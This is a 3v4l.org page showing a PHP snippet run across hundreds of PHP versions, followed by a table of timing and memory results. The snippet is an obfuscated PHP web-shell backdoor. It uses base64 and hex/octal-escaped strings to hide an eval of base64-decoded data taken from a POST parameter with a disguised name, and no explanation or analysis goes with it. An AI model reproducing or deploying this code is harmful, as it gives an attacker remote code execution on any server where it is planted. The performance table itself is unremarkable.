3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_= "aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\"; $__=\"JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\"; $___= \"\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65\"; if(isset($_POST['\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D\'])) { eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"])); } $code=base64_decode($_); eval($code); $___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65"; echo($___($__)); eval($___($__)); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.310.0100.03712.50
5.4.300.0070.03912.50
5.4.290.0050.04512.50
5.4.280.0060.03812.39
5.4.270.0070.03612.39
5.4.260.0060.04312.39
5.4.250.0050.03712.39
5.4.240.0050.03512.39
5.4.230.0070.03512.39
5.4.220.0030.03812.38
5.4.210.0080.03212.39
5.4.200.0060.03512.38
5.4.190.0030.03712.38
5.4.180.0060.03412.38
5.4.170.0070.03312.39
5.4.160.0040.03612.39
5.4.150.0050.03712.38
5.4.140.0060.03412.07
5.4.130.0060.03412.05
5.4.120.0050.03512.02
5.4.110.0080.03312.02
5.4.100.0030.03712.02
5.4.90.0070.03412.02
5.4.80.0040.03712.01
5.4.70.0070.03512.01
5.4.60.0070.03612.01
5.4.50.0070.03212.01
5.4.40.0070.03212.00
5.4.30.0060.03512.00
5.4.20.0060.03511.99
5.4.10.0040.03712.00
5.4.00.0040.03611.49
5.3.280.0040.03812.70
5.3.270.0080.03812.72
5.3.260.0050.03912.72
5.3.250.0070.04512.72
5.3.240.0040.03812.72
5.3.230.0060.03812.70
5.3.220.0090.03312.68
5.3.210.0030.04112.68
5.3.200.0050.03612.68
5.3.190.0070.04112.68
5.3.180.0090.03612.68
5.3.170.0070.03412.67
5.3.160.0070.04112.68
5.3.150.0070.03512.67
5.3.140.0070.03412.66
5.3.130.0100.03612.65
5.3.120.0080.03612.66
5.3.110.0080.03912.58
5.3.100.0070.03912.12
5.3.90.0060.03712.09
5.3.80.0050.03712.07
5.3.70.0080.03312.07
5.3.60.0060.03512.06
5.3.50.0100.04012.00
5.3.40.0050.03512.00
5.3.30.0070.04011.95
5.3.20.0070.03911.73
5.3.10.0110.03711.70
5.3.00.0070.04311.69
5.2.170.0050.0299.18
5.2.160.0080.0309.18
5.2.150.0030.0349.18
5.2.140.0040.0309.18
5.2.130.0050.0289.14
5.2.120.0020.0309.14
5.2.110.0020.0319.14
5.2.100.0040.0289.14
5.2.90.0030.0329.14
5.2.80.0050.0299.14
5.2.70.0050.0289.14
5.2.60.0040.0309.10
5.2.50.0050.0289.06
5.2.40.0040.0359.04
5.2.30.0040.0289.01
5.2.20.0070.0259.01
5.2.10.0070.0308.93
5.2.00.0030.0298.79
5.1.60.0040.0238.08
5.1.50.0040.0298.07
5.1.40.0030.0268.05
5.1.30.0030.0268.40
5.1.20.0050.0258.42
5.1.10.0030.0268.15
5.1.00.0040.0258.15
5.0.50.0010.0236.63
5.0.40.0050.0216.49
5.0.30.0040.0316.29
5.0.20.0030.0196.27
5.0.10.0020.0206.25
5.0.00.0030.0296.24
4.4.90.0020.0164.78
4.4.80.0010.0164.76
4.4.70.0020.0154.75
4.4.60.0010.0174.76
4.4.50.0020.0154.77
4.4.40.0050.0254.71
4.4.30.0010.0164.76
4.4.20.0040.0134.84
4.4.10.0040.0164.85
4.4.00.0020.0334.76
4.3.110.0010.0184.67
4.3.100.0020.0174.67
4.3.90.0010.0154.64
4.3.80.0020.0244.59
4.3.70.0040.0154.63
4.3.60.0060.0164.63
4.3.50.0020.0164.62
4.3.40.0010.0284.54
4.3.30.0000.0183.29
4.3.20.0020.0163.27
4.3.10.0020.0163.23
4.3.00.0130.0177.11

preferences:
139.7 ms | 1394 KiB | 7 Q